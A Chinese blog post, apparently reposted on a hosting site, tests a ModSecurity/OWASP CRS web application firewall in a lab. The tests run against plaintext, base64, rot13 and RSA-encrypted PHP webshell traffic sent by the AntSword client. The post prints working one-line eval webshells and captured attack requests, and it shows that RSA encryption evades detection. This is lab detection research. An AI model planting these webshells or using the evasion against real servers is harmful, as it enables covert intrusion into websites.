中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

WAF對WebShell流量檢測的性能分析是怎樣的

發布時間:2022-01-17 19:00:11 來源:億速云 閱讀:166 作者:柒染 欄目:網絡管理

今天給大家介紹一下WAF對WebShell流量檢測的性能分析是怎樣的。文章的內容小編覺得不錯,現在給大家分享一下,覺得有需要的朋友可以了解一下,希望對大家有所幫助,下面跟著小編的思路一起來閱讀吧。

本地環境組建

從保留的截圖來看,對方的php版本是5.6.40,所以我要搭一個apache+php5.6.40的測試環境。打開virtualbox,鏈接復制出來一份centos鏡像系統,按照以下流程配置一遍。    

1. 安裝apache    

yum install -y httpd
httpd -v
Server version: Apache/2.4.6 (CentOS)
Server built:   Aug  8 2019 11:41:18

2. 安裝php5.6    

yum -y install epel-release
rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm
yum -y install php56w php56w-mysql php56w-gd libjpeg* php56w-ldap php56w-odbc php56w-pear php56w-xml php56w-xmlrpc php56w-mbstring php56w-bcmath 
yum -y install httpd php-gd56w php-intl56w php-mysql56w mod_ssl openssl mcrypt php5-mcrypt56w
yum -y install php56w-mcrypt php56w-soap php56w-intl  php56w-pdo
systemctl restart httpd.service
php -v

PHP 5.6.40 (cli) (built: Jan 12 2019 13:11:15) 
Copyright (c) 1997-2016 The PHP Group

做一個index.php用以顯示phpinfo(),本機訪問時為了測試方便關閉firewalld    

systemctl stop firewalld         //當然也可以通過firewall-cmd去開放端口

3. 為了后面查看攻擊流量,再裝一個wireshark,包含wireshark-gnome等等,直接用*替代了。

yum install wireshark*

4. 配置apache-modsecurity手邊沒有waf設備,沒法對流量進行測試,于是用mode-security,以及OWASP(開放Web應用程序安全性項目)核心規則集-CRS進行測試,縱然效果不如實際場景來的直觀,但足以說明問題。

yum -y install mod_security

cd /etc/httpd
git clone https://github.com/SpiderLabs/owasp-modsecurity- crs.git
mv owasp-modsecurity-crs modsecurity.d
cd modsecurity-crs
cp crs-setup.conf.example crs-setup.conf

vi /etc/httpd/conf/httpd.conf
Include conf.modules.d/*.conf
Include modsecurity.d/owasp-modsecurity-crs/crs-setup.conf
Include modsecurity.d/owasp-modsecurity-crs/rules/*.conf
systemctl restart httpd

modsecurity的默認配置是檢測到攻擊會阻斷,我們將它改為只記錄。    

vim /etc/httpd/conf.d/mod_security.conf
SecRuleEngine On (攔截)
SecRuleEngine  DetectionOnly 記錄

tail -f /var/log/httpd/model/modsec_audit.log //查看攔截日志

測試一些攻擊向量會在log里看到記錄,證明配置完成。環境搭建完成。

攻擊流量配置、分析、檢測

明文php-webshell配置

首先寫個一句話看看明文webshell流量傳輸。    

vim test1.php
<?php 
@eval($_POST['aaaa']); 
?>

配置蟻劍進行連接    

WAF對WebShell流量檢測的性能分析是怎樣的

明文流量分析

用wireshark查看測試連接的流量    

POST /test1.php HTTP/1.1
Host: 192.168.1.13
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 993
Connection: close

aaaa=@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){
return $out;
};
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "620e2fc";
echo @asenc($output);
echo "71a0ccfbc1";
}
ob_start();
try{
$D=dirname($_SERVER["SCRIPT_FILENAME"] 
//dirname()函數獲取給定文件路徑中的目錄部分,而$_SERVER['SCRIPT_FILENAME']全局預定義變量用于獲取當前執行腳本的完整路徑
);
if($D=="")
$D=dirname($_SERVER["PATH_TRANSLATED"]); 
//如果沒有獲取到就用PATH_TRANSLATED,獲取當前腳本所在文件系統(非文檔根目錄)的基本路徑。這是在服務器進行虛擬到真實路徑的映像后的結果。Apache 2 用戶可以使用httpd.conf 中的 AcceptPathInfo On 來定義 PATH_INFO。
$R="{$D}";
if(substr($D,0,1)!="/")
{
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}
else{$R.="/";}
$R.="	";
//以上是判斷windows或者linux盤符,進而把獲取的目錄信息存入變量
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
//posix_getegid()返回當前進程的有效用戶組ID,posix_geteuid()返回當前進程的有效用戶ID
$s=($u)?$u["name"]:@get_current_user();
//get_current_user()方法進行獲得PHP當前腳本所有者名稱
$R.=php_uname();
//php_uname返回運行 PHP 的系統的有關信息
$R.="{$s}";
echo $R;;}
catch(Exception $e)
{echo "ERROR://".$e->getMessage();}
;
asoutput();
die();//輸出
HTTP/1.1 200 OK
Date: Wed, 29 Jan 2020 12:53:30 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
X-Powered-By: PHP/5.6.40
Content-Length: 136
Connection: close
Content-Type: text/html; charset=UTF-8
620e2fc/var/www/html./.Linux localhost.localdomain 3.10.0-1062.9.1.el7.x86_64 #1 SMP Fri Dec 6 15:49:49 UTC 2019 x86_64.apache71a0ccfbc1

為了更加清楚antsword發出的流量包,我認真看了一下發的包,并查了一些相關函數,做注釋的同時感嘆了PHP函數的牛逼,并勾起了我的好奇心,對這幾個函數做了本地測試。    

<?php
echo posix_getegid();
echo posix_getlogin();
echo get_current_user();
echo php_uname();
0
t1ger
root
Linux localhost.localdomain 3.10.0-1062.9.1.el7.x86_64 #1 SMP Fri Dec 6 15:49:49 UTC 2019 x86_64

果然牛逼!和返回包現象保持了一致。同時也說明了如果明文直接進行探測,這種流量在waf面前無異于自投羅網!    

明文流量檢測

waf測試結果如下:    

Message: Warning. Pattern match "^[\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/httpd/modsecurity.d/owasp-modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "708"] [id "920350"] [msg "Host header is a numeric IP address"] [data "192.168.1.13"] [severity "WARNING"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/IP_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"]
Message: Warning.
    .....
    .....
Apache-Handler: php5-script
Stopwatch: 1580358081210887 7750 (- - -)
Stopwatch3: 1580358081210887 7750; combined=5379, p1=753, p2=4202, p3=42, p4=155, p5=227, sr=194, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.2 (http://www.modsecurity.org/); OWASP_CRS/3.2.0.
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
Engine-Mode: "DETECTION_ONLY"

統計數據如下,匹配規則數按照grep line|wc -l計算    

Apache-ErrorMessage匹配規則數level
1111223

接下來我們先測對稱密碼。    

Base64&&rot13 webshell配置

Antsword自帶幾個可供測試的shell,給我們提供了非常大的方便。

我順便貼一下代碼。先來看看base64的代碼    

<?php
$ant=base64_decode("YXNzZXJ0");
$ant($_POST['ant']);
?>

Base64&&rot13 流量分析

POST /php_assert_script.php HTTP/1.1
Host: 192.168.1.13
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 942
Connection: close

ant=%40eval(%40base64_decode(%24_POST%5Bq9c4fa426fb243%5D))%3B&q9c4fa426fb243=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuICRvdXQ7fTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7ZWNobyAiMzRhZTE3IjtlY2hvIEBhc2VuYygkb3V0cHV0KTtlY2hvICI1YmJhN2YiO31vYl9zdGFydCgpO3RyeXskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfQkiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkMiLCJaIilhcyAkTClpZihpc19kaXIoInskTH06IikpJFIuPSJ7JEx9OiI7fWVsc2V7JFIuPSIvIjt9JFIuPSIJIjskdT0oZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRlZ2lkIikpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKToiIjskcz0oJHUpPyR1WyJuYW1lIl06QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIJeyRzfSI7ZWNobyAkUjs7fWNhdGNoKEV4Y2VwdGlvbiAkZSl7ZWNobyAiRVJST1I6Ly8iLiRlLT5nZXRNZXNzYWdlKCk7fTthc291dHB1dCgpO2RpZSgpOw%3D%3D

base64加密之后的流量除了eval之外至少不會包含那么多的高危函數,加密之后我們再來測試。    

Base64&&rot13 webshell流量檢測

waf測試結果如下:    

Message: Warning. Pattern match "^[\\d.:]+$" at REQUEST_HEADERS:Host. [file 
Message: Warning. Matched phrase "base64_decode" at ARGS:ant. [file "/etc/httpd/modsecurity.d/owasp-modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "301"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: base64_decode found within ARGS:ant: @eval(@base64_decode($_post[y07ae431d0730c]));"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"]
...
...

統計數據如下

Apache-ErrorMessage匹配規則數level
77143

通過Antsword界面配置rot13加密及解密,抓包看了下流量,僅僅是將base64的加密函數變成了str_rot13

ant=%40eval(%40base64_decode -> ant=%40eval(%40str_rot13(

攔截數據和base差不多,waf統計數據如下

Apache-ErrorMessage匹配規則數level
107143

由此可見,對稱加密算法下eval、base64,rot13這些函數也是可以觸發較高告警等級的。但是相比于明文傳輸,觸發的告警會少一半,于是筆者進一步嘗試一下antsword提供的非對稱加密算法。

RSA加密流量配置

版本>=2.1.0開始,Antsword作者新增了RSA模式。蟻劍默認下僅支持PHP。另外需要Server開啟php_openssl拓展。

修改php.ini,去掉extension=php_openssl.dll前的注釋,重啟Apache

使用方法:

Antsword->系統設置->編碼管理->新建編碼器->PHP RSA->命名為rsa_php->點擊RSA配置->生成

WAF對WebShell流量檢測的性能分析是怎樣的1、將下方的php代碼copy到虛擬機里,命名為rsa.php

2、配置antsword連接類型選擇rsa_php

3、測試連接

RSA加密流量分析

貼上wireshark抓的流量

POST /rsa.php HTTP/1.1
Host: 192.168.1.13
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1712
Connection: close

ant=W%2B9beN7Ltke390bzZGS5JbOBCnO8SRXW6Z8w0WaMF6CdAymaCu6NeWE9FX0kyCFs3jaLkDWkEvcTsSC2gEu85l5ugsVJUK6bTWFlVNeRBoezjTjUJZdjGvnjrxjd5Pn4iZaRjoaxAZPeZP2ozupbevWFUId4ZzkKZ7bIVPrZKk4%3D%7CYjt1kz5Gkj2N6Ajkqp3VXcg%2FEA7emPXV6oyTwZAZS9Ux1%2Fpby5PIuU9LsMZmGlMqGXvRFO23is9MUJpF66yboIAIYqpGRJCDgSP4S%2BfG6DD0lRYGEOIEsfpaLSVMhxZtR6OnFXp%2FfbXqmgGUk0a8HCUfQ83XmXS%2BRsl0Yx2PFc4%3D%7CAWtIrpychlQENib6basrK89LJcjnKk%2Bf5mVM72MOnPHxaviQFXws2TKNdGPI4SI9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iycdN5I%3D%7CHV2y7vs6wQUIQ8DnvveCeD8xtjRecf%2F%2B7rAl7Y4Wa8S4Y0onKYHOz2Nz0hgBJtFN%2BLRIj9%2B%2FYyOq%2Fslq0XW%2BolQCUl5hf8%2F3Y9OmlxKvSCGf3A0IIAquqSaJXpU4w8rqVyP9Od2bgDXDzsOx8YgVdigeyZxLS0TNNODTGIATb7Y%3DHTTP/1.1 200 OK

Date: Thu, 30 Jan 2020 05:47:09 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
X-Powered-By: PHP/5.6.40
Content-Length: 133
Connection: close
Content-Type: text/html; charset=UTF-8

8ee773/var/www/html./.Linux localhost.localdomain 3.10.0-1062.9.1.el7.x86_64 #1 SMP Fri Dec 6 15:49:49 UTC 2019 x86_64.apache47970246

經歷非對稱加密算法之后,整個流量傳輸的數據除了length之外,肉眼已經分別不出來, 這個效果筆者比較滿意.

RSA加密流量檢測

Message: Warning. Pattern match "^[\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/httpd/modsecurity.d/owasp-modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "708"] [id "920350"] [msg "Host header is a numeric IP address"] [data "192.168.1.13"] [severity "WARNING"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/IP_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"]
Apache-Handler: php5-script
Stopwatch: 1580363229118571 7666 (- - -)
Stopwatch3: 1580363229118571 7666; combined=6153, p1=574, p2=5170, p3=39, p4=156, p5=213, sr=205, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.2 (http://www.modsecurity.org/); OWASP_CRS/3.2.0.
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
Engine-Mode: "DETECTION_ONLY"
| Apache-Error | Message | 匹配規則數 | level |
| ------------ | ------- | ---------- | ----- |
| 1            | 1       | 1          | --    |

waf也只能檢測到Host header is a numeric IP address,這基本是說waf對于RSA加密的webshell流量基本沒什么防護能力,往后的安全設備檢測只能依賴于殺毒軟件。

這樣的加密程度對筆者本次實驗來說已經夠用了。但是同樣還存在著很多很多的問題,比如繞殺軟,混淆代碼等等,每一個方向都需要專注、細心、長久的投入。

以上就是WAF對WebShell流量檢測的性能分析是怎樣的的全部內容了,更多與WAF對WebShell流量檢測的性能分析是怎樣的相關的內容可以搜索億速云之前的文章或者瀏覽下面的文章進行學習哈!相信小編會給大家增添更多知識,希望大家能夠支持一下億速云!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

荃湾区| 太康县| 互助| 措美县| 巫溪县| 前郭尔| 河池市| 象山县| 民和| 沅江市| 建德市| 大英县| 富裕县| 浦北县| 理塘县| 呼和浩特市| 慈利县| 丹棱县| 拉萨市| 镇宁| 隆德县| 涟水县| 农安县| 奈曼旗| 甘南县| 建湖县| 沿河| 楚雄市| 田林县| 兰西县| 察雅县| 通山县| 乌兰浩特市| 山东| 湘乡市| 澜沧| 阳春市| 综艺| 顺昌县| 阜康市| 古田县|